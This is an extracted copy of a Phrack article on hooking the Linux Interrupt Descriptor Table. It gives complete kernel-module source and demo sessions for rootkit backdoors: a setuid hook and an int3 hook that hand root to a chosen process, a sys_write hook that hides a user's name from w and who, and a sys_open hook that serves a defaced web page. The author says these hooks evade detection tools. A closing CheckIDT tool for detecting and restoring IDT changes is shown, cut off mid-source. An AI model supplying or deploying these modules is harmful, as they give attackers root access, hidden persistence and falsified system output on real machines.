    You can find a list of all the syscalls at the url :http://www.lxhp.in-berlin.de/lhpsysc0.html [3].All syscalls are listed and the value to put in the registers are given.

    Rem : be ware, the numbers of the syscalls are not the same in 2.2.*and 2.4.* kernels.

    ----[ 5.2 - How does a syscall work ?

    Thanks to the technique that we have just used here, we can also hookthe syscalls. When a syscall is called, all the parameters of the syscall

    are in the registers.

    eax : number of the called syscallebx : first paramecx : second paramedx : third paramesi : fourth paramedi : fifth param

    The maximum number of arguments can't exceed 5. However, some syscallsneed more than 5 arguments. It is the case for the syscall mmap (6 params).In such a case, a single register is used to point to a memory area to theaddressing space of the process in user mode that contains the values ofthe parameters.

    We can get these values thanks to the structure pt_regs that we've seenbefore. We are going to hook syscalls at the IDT level and not in thesyscall_table. kstat and all currently available LKM detection tools willfail in detecting our voodoo. I won't show you all what can be done byhooking the syscalls, the technique used by pragmatic or so in their LKMsare applicable here. I will show you how to hook some syscalls, you willbe able to hook those you want using the same technique.

    ----[ 5.3 - Hooking for profit

    ------[ 5.3.1 - Hooking of sys_setuid

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    21/44

    SYS_SETUID:-----------

    EAX: 213EBX: uid

    We are going to begin with a simple case, a backdoor that change the rights

    of a process into root. The same backdoor as in 3.5 but we are going tohook the syscall setuid.

    asm handler :--------------...#define sys_number 213...void stub_kad(void)

    {__asm__ (

    ".globl my_stub \n"

    ".align 4,0x90 \n""my_stub: \n"//save the register value" pushl %%ds \n"" pushl %%eax \n"" pushl %%ebp \n"" pushl %%edi \n"" pushl %%esi \n"" pushl %%edx \n"" pushl %%ecx \n"" pushl %%ebx \n"//compare if it's the good syscall" xor %%ebx,%%ebx \n"

    " movl %2,%%ebx \n"" cmpl %%eax,%%ebx \n"" jne finis \n"//if it's the good syscall,//put top stack address on stack :)" mov %%esp,%%edx \n"" mov %%esp,%%eax \n"" andl $-8192,%%eax \n"" pushl %%eax \n"" push %%edx \n"" call *%0 \n"" addl $8,%%esp \n""finis: \n"//restore register" popl %%ebx \n"" popl %%ecx \n"" popl %%edx \n"" popl %%esi \n"" popl %%edi \n"" popl %%ebp \n"" popl %%eax \n"" popl %%ds \n"" jmp *%1 \n"

    ::"m"(hostile_code),"m"(old_stub),"i"(sys_number));

    }

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    22/44

    - we save the values of all the registers on the stack- we compare eax that contains the number of the syscall with the valueof sys_number that we have defined above.

    - if it is the good syscall, we put on the stack the value of esp fromwhich have saved all the registers (that will be used for pt_regs) andthe current process descriptor.

    - we call our C handler, then at the return, we pop 8 bytes (eax + edx).

    - finis : we put back the value of our registers and we call the truehandler.

    By changing the value of sys_number, we can hook any syscall with this asmhandler.

    C handler----------

    asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task){

    struct task_struct *my_task = &((struct task_struct *) fd_task)[0];if (regs->ebx == 12345 ){my_task->uid=0;my_task->gid=0;my_task->suid=1000;}

    }

    We get the value of the registers in a pt_regs structure and the addressof the current fd. We compare the value of ebx with 12345, if it is equalthen we set the uid and the gid of the current process to 0.

    In practice :--------------

    bash-2.05$ cat setuid.c#include int main (int argc,char ** argv)

    {setuid(12345);system("/bin/sh");return 0;}

    bash-2.05$ gcc -o setuid setuid.cbash-2.05$ ./setuidsh-2.05# iduid=0(root) gid=0(root) groups=100(users)sh-2.05#

    We are root. This technique can be used with many syscalls.

    ------[ 5.3.2 - Hooking of sys_write

    SYS_WRITE:

    ----------

    EAX: 4

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    23/44

    EBX: file descriptorECX: ptr to output bufferEDX: count of bytes to send

    We are going to hook sys_write so that it will replace a string in adefined program. Then, we will hook sys_write so that it will replacein the whole system.

    The asm handler in the same as in 5.3.1

    C handler----------

    asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task){struct task_struct *my_task= &((struct task_struct *) fd_task) [0];char *ptr=(char *) regs->ecx;char * buffer,*ptr3;

    if(strcmp(my_task->comm,"w")==0 strcmp(my_task->comm,"who")==0strcmp(my_task->comm,"lastlog")==0 ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )

    {buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);copy_from_user(buffer,ptr,regs->edx);if(hide_string)

    {ptr3=strstr(buffer,hide_string);}

    else{

    ptr3=strstr(buffer,HIDE_STRING);}

    if(ptr3 != NULL ){if (false_string){

    strncpy(ptr3,false_string,strlen(false_string));}

    else{

    strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));}

    copy_to_user(ptr,buffer,regs->edx);}

    kfree(buffer);}

    }

    - We compare the name of the process with a defined program name and withthe name that we will specify in param when we insert our module(progy param).

    - We allocate some space for the buffer that will receive the string thatis in regs->ecx

    - We copy the string that sys_write is going to write from the userland tothe kernelland (copy_from_user)

    - We search for the string we want to hide in the string that sys_write isgoing to write.

    - If found,we change the string to be hidden with the one wanted in

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    24/44

    our buffer.- we copy the false string in the userland (copy_to_user)

    In practice :--------------

    %gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c%w12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATkad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startxkad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid%modinfo hookstub-V0.5.2.ofilename: hookstub-V0.5.2.odescription: "Hooking of sys_write"author: "kad"parm: interrupt int, description "Interrupt number"

    parm: hide_string string, description "String to hide"parm: false_string string, description "The fake string"parm: progy string, description "You can add another program to fake"%insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcelprogy=psInserting hookHooking finish

    %w12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATmarcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usrmarcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid

    %ps -auUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDmarcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bashroot 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -suroot 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -shroot 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au%

    The string "kad" is hidden. The whole source code is in annexe CODE 3.This example is quite simple but could be more interesting. Instead ofchanging "kad" with "marcel", we could change our IP address withanother. And, instead of hooking the output of w, who or lastlog, we coulduse klogd...

    Complete hooking of sys_write------------------------------

    The complete hooking of sys_write can be useful in some case, like for examplechanging an IP with another. But if you change a string completely,you won't be hidden long. If you change a string with another, it's the wholesystem that will be changed. Even a simple cat will be influenced :

    %insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye!

    "Inserting hookHooking finish

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    25/44

    %echo hello!bye!%

    The C handler for this example is the same as the previous one without theif condition. Beware, this could slow down your system a lot.

    ----[ 5.4 - Hooking for fun

    This example is only "for fun" :), don't misuse it. You could turn an adminmad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hookthe syscall sys_open so that it opens another file instead of a defined file,but only if it is a defined "entity" that opens the file. This entity will behttpd here...

    SYS_OPEN:---------

    EAX : 5EBX : ptr to pathnameECX : file accessEDX : file permissions

    The asm handler is always the same as the previous ones.

    C handler :------------

    asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task){

    struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];if(strcmp(my_task->comm,"httpd") == 0)

    {if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)

    {copy_to_user((char *)regs->ebx,"/tmp/hacked",strlen((char *) regs->ebx));}

    }}

    We hook sys_open, if httpd call sys_open and tries to open index.html,then we change index.html with another page we've chosen. We can also useMODULE_PARM to more easily change the page. If someone opens the file witha classic editor, he will see the true index.html!

    Hooking a syscall is very easy with this technique. Moreover, fewmodifications are to be done for hooking this or that syscall. The onlything to change is the C handler. We could however play with the asmhandler, for example to invert 2 syscalls. We would only have to comparethe value of eax and to change it with the number of a defined syscall.For an admin, we could hook the "hot" syscalls and warn with a message assoon as the syscall is called. We would be warned of the modifications onthe syscall_table.

    --[ 6 - CHECKIDT

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    26/44

    CheckIDT is a little program that I have written that allow to "play"with the IDT from the userland. i.e. without using a lkm, thanks to thetechnique of sd and devik in Phrack 58 on /dev/kmem. All along my tests,I had to face many kernel crashes and it was not dead but I couldn'tremove the lkm. I had to reboot to change the value of the IDT. CheckIDTallow to change the value of the IDT without the use of a lkm. CheckIDT ishere to help you coding your lkms and prevent you from rebooting all the

    time. On the other hand, this software can warn you of modifications of theIDT and so be useful for admins. It can restore the IDT state in tripwirestyle. It saves each descriptor of the IDT in a file, then it compares thedescriptors with the saved values and put the IDT back if there weremodifications.

    Some examples of use :-----------------------

    %./checkidtCheckIDT V 1.1 by kad

    ---------------------Option :-a nb show all info about one interrupt-A show all info about all interrupt-I show IDT address-c create file archive-r read file archive-o file output filename (for creating file archive)-C compare save idt & new idt-R restore IDT-i file input filename to compare or read-s resolve symbol thanks to /boot/System.map-S file specify a map file

    %./checkidt -a 3 -s

    Int *** Stub Address *** Segment *** DPL *** Type Handler Name--------------------------------------------------------------------------3 0xc0109370 KERNEL_CS 3 System gate int3

    Thanks for choose kad's products :-)%

    We can obtain information on an interrupt descriptor."-A" allow to obtain information on all interrupts.

    %./checkidt -c

    Creating file archive idt done

    Thanks for choosing kad's products :-)%insmod hookstub-V0.3.2.o interrupt=3Inserting hookHooking finished%./checkidt -C

    Hey stub address of interrupt 3 has changed!!!Old Value : 0xc0109370

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    27/44

    New Value : 0xc583e064

    Thanks for choosing kad's products :-)%./checkidt -R

    Restore old stub address of interrupt 3

    Thanks for choosing kad's products :-)%./checkidt -C

    All values are same

    Thanks for choosing kad's products :-)%lsmodModule Size Used byhookstub-V0.3.2 928 0 (unused)...%

    So CheckIDT has restored the values of the IDT as they were beforeinserting the module. However, the module is still here but has no effect.As in tripwire, I advice you to put the IDT save file in a read only area,otherwise someone could be compromised.

    rem : if the module is well hidden, you will also be warned of the modificationsof IDT.

    The whole source code is in annexe CODE 4.

    --[ 7 - REFERENCES

    [1] http://www.linuxassembly.org/resources.html#tutorialsMany docs on asm inline

    [2] http://www.xml.com/ldd/chapter/book/linux device drivers

    [3] http://www.lxhp.in-berlin.de/lhpsysc0.htmldetailed syscalls list

    [4] http://eccentrica.org/Mammon/Mammon site, thanks mammon ;)

    [5] http://www.oreilly.com/catalog/linuxkernel/o'reilly book , great book :)

    [6] http://www.tldp.org/LDP/lki/index.htmlLinux Kernel 2.4 Internals

    [7] Sources of 2.2.19 and 2.4.17 kernel

    [8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.htmlgood info about how bottom half work

    [9] http://www.s0ftpj.org/en/tools.html

    kstat

    GREETZ

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    28/44

    - Special greetz to freya, django and neuro for helping me to translatethis text in English. Greetz again to skyper for his advice, thks a lotman! :)

    - Thanks to Wax for his invaluable advise on asm (don't smoke to much dude !)- Big greetz to mayhem, insulted, ptah and sauron for testing the codesand verifying the text.

    - Greetz to #frogs people, #thebhz people, #gandalf people, #fr people, allthose who were at the RtC.Party, nywass, the polos :) and all those Iforget.

    --[ 8 - Appendix

    CODE 1:-------

    /*****************************************/

    /* hooking interrupt 3 . Idea by mammon *//* with kad modification *//*****************************************/

    #define MODULE#define __KERNEL__

    #include #include #include #include #include

    #define error_code 0xc01092d0 //error code in my system.map#define do_int3 0xc010977c //do_int3 in my system.map

    asmlinkage void my_handler(struct pt_regs * regs,long err_code);

    /*------------------------------------------*/unsigned long ptr_idt_table;unsigned long ptr_gdt_table;unsigned long old_stub;unsigned long old_handler=do_int3;extern asmlinkage void my_stub();unsigned long ptr_error_code=error_code;unsigned long ptr_handler=(unsigned long)&my_handler;/*------------------------------------------*/

    struct descriptor_idt{unsigned short offset_low,seg_selector;unsigned char reserved,flag;unsigned short offset_high;};

    void stub_kad(void){

    __asm__ (

    ".globl my_stub \n"".align 4,0x90 \n""my_stub: \n"

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    29/44

    "pushl $0 \n""pushl ptr_handler(,1) \n""jmp *ptr_error_code "::);}

    asmlinkage void my_handler(struct pt_regs * regs,long err_code){void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;printk("Wowowo hijacking de l'int 3 \n");(*old_int_handler)(regs,err_code);return;}

    unsigned long get_addr_idt (void){unsigned char idtr[6];unsigned long idt;

    __asm__ volatile ("sidt %0": "=m" (idtr));idt = *((unsigned long *) &idtr[2]);return(idt);}

    void * get_stub_from_idt (int n){struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table)

    [n];return ((void *) ((idte->offset_high offset_low));}

    void hook_stub(int n,void *new_stub,unsigned long *old_stub)

    {unsigned long new_addr=(unsigned long)new_stub;struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;//save old stubif(old_stub)

    *old_stub=(unsigned long)get_stub_from_idt(3);//assign new stubidt[n].offset_high = (unsigned short) (new_addr >> 16);idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);return;}

    int init_module(void){ptr_idt_table=get_addr_idt();hook_stub(3,&my_stub,&old_stub);return 0;}

    void cleanup_module(){hook_stub(3,(char *)old_stub,NULL);}

    ******************************************************************************

    CODE 2:-------

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    30/44

    /****************************************************//* IDT int3 backdoor. Give root right to the process/* Coded by kad/****************************************************/

    #define MODULE

    #define __KERNEL__#include #include #include #include #ifndef KERNEL2#include #else#include #endif

    /*------------------------------------------*/

    asmlinkage void my_function(unsigned long);/*------------------------------------------*/MODULE_AUTHOR("Kad");MODULE_DESCRIPTION("Hooking of int3 , give root right to process");MODULE_PARM(interrupt,"i");MODULE_PARM_DESC(interrupt,"Interrupt number");/*------------------------------------------*/unsigned long ptr_idt_table;unsigned long old_stub;extern asmlinkage void my_stub();unsigned long hostile_code=(unsigned long)&my_function;int interrupt;/*------------------------------------------*/

    struct descriptor_idt{unsigned short offset_low,seg_selector;unsigned char reserved,flag;unsigned short offset_high;};

    void stub_kad(void){

    __asm__ (".globl my_stub \n"".align 4,0x90 \n""my_stub: \n"" pushl %%ebx \n"" movl %%esp,%%ebx \n"" andl $-8192,%%ebx \n"" pushl %%ebx \n"" call *%0 \n"" addl $4,%%esp \n"" popl %%ebx \n"" jmp *%1 \n"::"m"(hostile_code),"m"(old_stub));}

    asmlinkage void my_function(unsigned long addr_task)

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    31/44

    {struct task_struct *p = &((struct task_struct *) addr_task)[0];if(strcmp(p->comm,"give_me_root")==0 )

    {#ifdef DEBUG

    printk("UID : %i GID : %i SUID : %i\n",p->uid,p->gid,p->suid);

    #endifp->uid=0;p->gid=0;#ifdef DEBUG

    printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid);

    #endif}

    else{#ifdef DEBUG

    printk("Interrupt %i hijack \n",interrupt);

    #endif}}

    unsigned long get_addr_idt (void){unsigned char idtr[6];unsigned long idt;__asm__ volatile ("sidt %0": "=m" (idtr));idt = *((unsigned long *) &idtr[2]);return(idt);}

    unsigned short get_size_idt(void){unsigned idtr[6];unsigned short size;__asm__ volatile ("sidt %0": "=m" (idtr));size=*((unsigned short *) &idtr[0]);return(size);}

    void * get_stub_from_idt (int n){struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table)

    [n];return ((void *) ((idte->offset_high offset_low));}

    void hook_stub(int n,void *new_stub,unsigned long *old_stub){unsigned long new_addr=(unsigned long)new_stub;struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;//save old stubif(old_stub)

    *old_stub=(unsigned long)get_stub_from_idt(n);#ifdef DEBUG

    printk("Hook : new stub addresse not splited : 0x%.8x\n",new_add

    r);#endif//assign new stub

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    32/44

    idt[n].offset_high = (unsigned short) (new_addr >> 16);idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);#ifdef DEBUG

    printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);

    #endifreturn;

    }

    int write_console (char *str){struct tty_struct *my_tty;if((my_tty=current->tty) != NULL)

    {(*(my_tty->driver).write) (my_tty,0,str,strlen(str));return 0;}

    else return -1;}

    static int __init kad_init(void){int x;EXPORT_NO_SYMBOLS;ptr_idt_table=get_addr_idt();write_console("Inserting hook \r\n");hook_stub(interrupt,&my_stub,&old_stub);#ifdef DEBUG

    printk("Set hooking on interrupt %i\n",interrupt);#endifwrite_console("Hooking finished \r\n");return 0;

    }

    static void kad_exit(void){write_console("Removing hook\r\n");hook_stub(interrupt,(char *)old_stub,NULL);}

    module_init(kad_init);module_exit(kad_exit);

    ******************************************************************************

    CODE 3:-------

    /**************************************************************//* Hooking of sys_write for w,who and lastlog./* You can add an another program when you insmod the module/* By kad/**************************************************************/

    #define MODULE#define __KERNEL__

    #include #include

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    33/44

    #include #include #ifndef KERNEL2#include #else#include #endif

    #include #include

    #define sys_number 4#define HIDE_STRING "localhost"#define FALSE_STRING "somewhere"#define PROG "w"

    /*------------------------------------------*/asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);/*------------------------------------------*/MODULE_AUTHOR("kad");

    MODULE_DESCRIPTION("Hooking of sys_write");MODULE_PARM(interrupt,"i");MODULE_PARM_DESC(interrupt,"Interrupt number");MODULE_PARM(hide_string,"s");MODULE_PARM_DESC(hide_string,"String to hide");MODULE_PARM(false_string,"s");MODULE_PARM_DESC(false_string,"The fake string");MODULE_PARM(progy,"s");MODULE_PARM_DESC(progy,"You can add another program to fake");/*------------------------------------------*/unsigned long ptr_idt_table;unsigned long old_stub;extern asmlinkage void my_stub();

    unsigned long hostile_code=(unsigned long)&my_function;int interrupt;char *hide_string;char *false_string;char *progy;/*------------------------------------------*/

    struct descriptor_idt{unsigned short offset_low,seg_selector;unsigned char reserved,flag;unsigned short offset_high;};

    void stub_kad(void){

    __asm__ (".globl my_stub \n"".align 4,0x90 \n""my_stub: \n"

    //save the register value" pushl %%ds \n"" pushl %%eax \n"" pushl %%ebp \n"" pushl %%edi \n"

    " pushl %%esi \n"" pushl %%edx \n"" pushl %%ecx \n"

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    34/44

    " pushl %%ebx \n"//compare it's the good syscall" xor %%ebx,%%ebx \n"" movl %2,%%ebx \n"" cmpl %%eax,%%ebx \n"" jne finis \n"//if it's the good syscall , continue :)

    " mov %%esp,%%edx \n"" mov %%esp,%%eax \n"" andl $-8192,%%eax \n"" pushl %%eax \n"" push %%edx \n"" call *%0 \n"" addl $8,%%esp \n""finis: \n"//restore register" popl %%ebx \n"" popl %%ecx \n"" popl %%edx \n"

    " popl %%esi \n"" popl %%edi \n"" popl %%ebp \n"" popl %%eax \n"" popl %%ds \n"" jmp *%1 \n"

    ::"m"(hostile_code),"m"(old_stub),"i"(sys_number));}

    asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task){struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];

    char *ptr=(char *) regs->ecx;char * buffer,*ptr3;

    if(strcmp(my_task->comm,"w")==0 strcmp(my_task->comm,"who")==0 strcmp(my_task->comm,"lastlog")==0 ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )

    {buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);copy_from_user(buffer,ptr,regs->edx);if(hide_string)

    {ptr3=strstr(buffer,hide_string);}

    else{ptr3=strstr(buffer,HIDE_STRING);}

    if(ptr3 != NULL ){if (false_string)

    {strncpy(ptr3,false_string,strlen(false_string));}

    else{

    strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));}

    copy_to_user(ptr,buffer,regs->edx);

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    35/44

    }kfree(buffer);}

    }

    unsigned long get_addr_idt (void){

    unsigned char idtr[6];unsigned long idt;__asm__ volatile ("sidt %0": "=m" (idtr));idt = *((unsigned long *) &idtr[2]);return(idt);}

    void * get_stub_from_idt (int n){struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table)

    [n];return ((void *) ((idte->offset_high offset_low));

    }

    void hook_stub(int n,void *new_stub,unsigned long *old_stub){unsigned long new_addr=(unsigned long)new_stub;struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;//save old stubif(old_stub)

    *old_stub=(unsigned long)get_stub_from_idt(n);#ifdef DEBUG

    printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);

    #endif

    //assign new stubidt[n].offset_high = (unsigned short) (new_addr >> 16);idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);#ifdef DEBUG

    printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);

    #endifreturn;}

    int write_console (char *str){struct tty_struct *my_tty;if((my_tty=current->tty) != NULL)

    {(*(my_tty->driver).write) (my_tty,0,str,strlen(str));return 0;}

    else return -1;}

    static int __init kad_init(void){EXPORT_NO_SYMBOLS;ptr_idt_table=get_addr_idt();

    write_console("Inserting hook \r\n");hook_stub(interrupt,&my_stub,&old_stub);#ifdef DEBUG

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    36/44

    printk("Set hooking on interrupt %i\n",interrupt);#endifwrite_console("Hooking finish \r\n");return 0;}

    static void kad_exit(void)

    {write_console("Removing hook\r\n");hook_stub(interrupt,(char *)old_stub,NULL);}

    module_init(kad_init);module_exit(kad_exit);

    ******************************************************************************

    checkidt/Makefile

    all: checkidt.cgcc -Wall -o checkidt checkidt.c

    checkidt/checkidt.c/** CheckIDT V1.1* Play with IDT from userland* It's a tripwire kind for IDT* kad 2002** gcc -Wall -o checkidt checkidt.c*/

    #include #include #include #include #include #include #include #include

    #define NORMAL "\033[0m"#define NOIR "\033[30m"#define ROUGE "\033[31m"#define VERT "\033[32m"#define JAUNE "\033[33m"#define BLEU "\033[34m"#define MAUVE "\033[35m"#define BLEU_CLAIR "\033[36m"#define SYSTEM "System gate"#define INTERRUPT "Interrupt gate"#define TRAP "Trap gate"#define DEFAULT_FILE "Safe_idt"#define DEFAULT_MAP "/boot/System.map"

    /***********GLOBAL**************/

    int fd_kmem;unsigned long ptr_idt;/******************************/

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    37/44

    struct descriptor_idt{unsigned short offset_low,seg_selector;unsigned char reserved,flag;unsigned short offset_high;

    };

    struct Mode{int show_idt_addr;int show_all_info;int read_file_archive;int create_file_archive;char out_filename[20];int compare_idt;int restore_idt;char in_filename[20];

    int show_all_descriptor;int resolve;char map_filename[40];

    };

    unsigned long get_addr_idt (void){unsigned char idtr[6];unsigned long idt;__asm__ volatile ("sidt %0": "=m" (idtr));idt = *((unsigned long *) &idtr[2]);return(idt);}

    unsigned short get_size_idt(void){unsigned idtr[6];unsigned short size;__asm__ volatile ("sidt %0": "=m" (idtr));size=*((unsigned short *) &idtr[0]);return(size);}

    char * get_segment(unsigned short selecteur){if(selecteur == __KERNEL_CS)

    {return("KERNEL_CS");}

    if(selecteur == __KERNEL_DS){return("KERNEL_DS");}

    if(selecteur == __USER_CS){return("USER_CS");}

    if(selecteur == __USER_DS)

    {return("USER_DS");}

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    38/44

    else{printf("UNKNOW\n");}

    }

    void readkmem(void *m,unsigned off,int size){if(lseek(fd_kmem,off,SEEK_SET) != off)

    {fprintf(stderr,"Error lseek. Are you root? \n");exit(-1);}

    if(read(fd_kmem,m,size)!= size){fprintf(stderr,"Error read kmem\n");exit(-1);}

    }

    void writekmem(void *m,unsigned off,int size){if(lseek(fd_kmem,off,SEEK_SET) != off)

    {fprintf(stderr,"Error lseek. Are you root? \n");exit(-1);}

    if(write(fd_kmem,m,size)!= size){fprintf(stderr,"Error read kmem\n");exit(-1);

    }}

    void resolv(char *file,unsigned long stub_addr,char *name){FILE *fd;char buf[100],addr[30];int ptr,ptr_begin,ptr_end;snprintf(addr,30,"%x",(char *)stub_addr);if(!(fd=fopen(file,"r")))

    {fprintf(stderr,"Can't open map file. You can specify a map file

    -S option or change #define in source\n");exit(-1);}

    while(fgets(buf,100,fd) != NULL){ptr=strstr(buf,addr);if(ptr)

    {bzero(name,30);ptr_begin=strstr(buf," ");ptr_begin=strstr(ptr_begin+1," ");ptr_end=strstr(ptr_begin+1,"\n");strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1);

    break;}

    }

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    39/44

    if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL);fclose(fd);}

    void show_all_info(int interrupt,int all_descriptor,char *file,int resolve){struct descriptor_idt *descriptor;

    unsigned long stub_addr;unsigned short selecteur;char type[15];char segment[15];char name[30];int x;int dpl;bzero(name,strlen(name));descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)

    );printf("Int *** Stub Address *** Segment *** DPL *** Type ");if(resolve >= 0)

    {printf(" Handler Name\n");printf("--------------------------------------------------------

    ------------------\n");}

    else{printf("\n");printf("---------------------------------------------------\n");}

    if(interrupt >= 0){

    readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));

    stub_addr=(unsigned long)(descriptor->offset_high offset_low;

    selecteur=(unsigned short) descriptor->seg_selector;if(descriptor->flag & 64) dpl=3;else dpl = 0;if(descriptor->flag & 1)

    {if(dpl)

    strncpy(type,SYSTEM,sizeof(SYSTEM));else strncpy(type,TRAP,sizeof(TRAP));}

    else strncpy(type,INTERRUPT,sizeof(INTERRUPT));strcpy(segment,get_segment(selecteur));

    if(resolve >= 0)

    {resolv(file,stub_addr,name);printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,st

    ub_addr,segment,dpl,type,name);}

    else{printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_ad

    dr,segment,dpl,type);}

    }

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    40/44

    if(all_descriptor >= 0 ){for (x=0;xoffset_high offset_low;if(stub_addr != 0)

    {selecteur=(unsigned short) descriptor->seg_selec

    tor;if(descriptor->flag & 64) dpl=3;else dpl = 0;if(descriptor->flag & 1)

    {if(dpl)

    strncpy(type,SYSTEM,sizeof(SYSTEM));

    else strncpy(type,TRAP,sizeof(TRAP));}else strncpy(type,INTERRUPT,sizeof(INTERRUPT));strcpy(segment,get_segment(selecteur));

    if(resolve >= 0){bzero(name,strlen(name))

    ;resolv(file,stub_addr,na

    me);printf("%-7i 0x%-14.8x %

    -12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name);}

    else{

    printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type);

    }}

    }}

    free(descriptor);}

    void create_archive(char *file){FILE *file_idt;struct descriptor_idt *descriptor;int x;descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt

    ));if(!(file_idt=fopen(file,"w")))

    {fprintf(stderr,"Error while opening file\n");exit(-1);}

    for(x=0;x

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    41/44

    free(descriptor);fclose(file_idt);fprintf(stderr,"Creating file archive idt done \n");}

    void read_archive(char *file){

    FILE *file_idt;int x;struct descriptor_idt *descriptor;unsigned long stub_addr;descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt

    ));if(!(file_idt=fopen(file,"r")))

    {fprintf(stderr,"Error, check if the file exist\n");exit(-1);}

    for(x=0;xoffset_high offset_low;printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_a

    ddr);}

    free(descriptor);fclose(file_idt);}

    void compare_idt(char *file,int restore_idt){

    FILE *file_idt;int x,change=0;int result;struct descriptor_idt *save_descriptor,*actual_descriptor;unsigned long save_stub_addr,actual_stub_addr;unsigned short *offset;save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor

    _idt));actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descript

    or_idt));file_idt=fopen(file,"r");for(x=0;xoffset_high offset_low;readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_

    idt));actual_stub_addr=(unsigned long)(actual_descriptor->offset_high

    offset_low;if(actual_stub_addr != save_stub_addr)

    {if(restore_idt < 1)

    {fprintf(stderr,VERT"Hey stub address of interrup

    t %i has changed!!!\n"NORMAL,x);fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_

    addr);

  • 8/3/2019 p59 0x04 Handling the Interrupt Descriptor Table by Kad

    42/44

    fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr);

    change=1;}

    else{fprintf(stderr,VERT"Restore old stub address of

    interrupt %i\n"NORMAL,x);actual_descriptor->offset_high = (unsigned short

    ) (save_stub_addr >> 16);actual_descriptor->offset_low = (unsigned short

    ) (save_stub_addr & 0x0000FFFF);writekmem(actual_descriptor,ptr_idt+8*x,sizeof(s
